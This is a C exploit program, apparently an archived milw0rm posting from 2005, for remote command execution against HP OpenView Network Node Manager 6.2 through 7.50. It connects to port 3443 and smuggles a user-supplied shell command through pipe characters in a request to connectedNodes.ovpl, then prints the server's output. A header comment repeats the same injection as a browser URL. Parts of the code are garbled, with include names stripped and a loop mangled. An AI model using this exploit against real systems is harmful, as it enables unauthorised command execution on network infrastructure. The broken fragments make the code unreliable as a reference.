/* Web Browser info: /OvCgi/connectedNodes.ovpl?node=a|command| /str0ke */ /* ################################################################################## # HP OpenView Network Node Manager 6.2, 6.4, 7.01, 7.50 Remote Command Execution # ################################################################################## Name: HP OV NNM Remote Command Execution Exploit File: HP_OV_NNM_RCE.c Description: Exploit Author: Lympex Contact: + Web: http://l-bytes.net + Mail: lympex[at]gmail[dot]com Date: 30/08/2005 Extra: Compiled with Visual C++ 6.0 ############################################################################ #SecurityTracker Alert ID: 1014791 # #SecurityTracker URL: http://securitytracker.com/id?1014791 # #CVE Reference: GENERIC-MAP-NOMATCH # #Updated: Aug 25 2005 # #Original Entry Date: Aug 25 2005 # #Impact: Execution of arbitrary code via network, User access via network # ############################################################################ */ //headers #include //In/Out #include //sockets functions #include //memory functions #include //strlen,strcat,strcpy #pragma comment(lib,"ws2_32.lib") //for compile with dev-c++ link to "libws2_32.lib" #define Port 3443 //port for connect to HP OV NNM #define SIZE 2048 //buffer size to receive the data /*connect host:port*/ SOCKET Conecta(char *Host, short puerto) { /*struct for make the socket*/ WSADATA wsaData; SOCKET Winsock;//listener socket /*two structures for connect*/ struct sockaddr_in Winsock_In; struct hostent *Ip; /*start the socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*make*/ Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); //check socket status if(Winsock==INVALID_SOCKET) { /*exit*/ WSACleanup(); return -1; } /*complete the struct*/ Ip=gethostbyname(Host); Winsock_In.sin_port=htons(puerto); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr))); /*connect*/ if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { /*end*/ WSACleanup(); return -1; } return Winsock; } /*MASTER FUNCTION*/ int main(int argc, char *argv[]) { /*the socket*/ SOCKET sock; /*make the evil buffer to send the request*/ char evil_request[]="GET /OvCgi/connectedNodes.ovpl?node=a| "; char evil_request2[]=" |"; char *evil; /*to receive the data*/ char buf[SIZE]; unsigned int i; printf("\n +[ HP OV NNM Remote Command Execution ]+ by Lympex"); printf("\nContact: lympex[at]gmail[dot]com & http://l-bytes.net"); printf("\n-----------------------------------------------------\n"); if(argc!=3)//HP_OV_NNM_RCE { printf("\n[+] Usage: %s ",argv[0]); printf("\nImportant: Do not include \x22<\x22 and \x22>\x22 chars\n"); return 0; } for(i=0;i') { printf("\n[!] Error - You have included \x22<\x22 and/or \x22>\x22 chars\n"); return 1; } } printf("\n[+] Connecting %s:%d...",argv[1],Port); /*start the exploit*/ sock=Conecta(argv[1],Port);//connect if(sock==-1) { printf("Error\n"); return 1; } printf("OK"); /*make the EVIL request*/ evil=(char *) malloc((strlen(argv[2])+24+12)*sizeof(char)); strcpy(evil,evil_request);strcat(evil,argv[2]);strcat(evil,evil_request2);strcat(evil,"\n\n"); //sends it send(sock,evil,strlen(evil),0); buf[recv(sock,buf,SIZE,0)]='\0'; //show the data printf("\n\n------- [Result] -------\n\n%s\n------- [/Result] -------\n",buf); WSACleanup(); LocalFree(buf); LocalFree(evil); return 0; } // milw0rm.com [2005-08-30]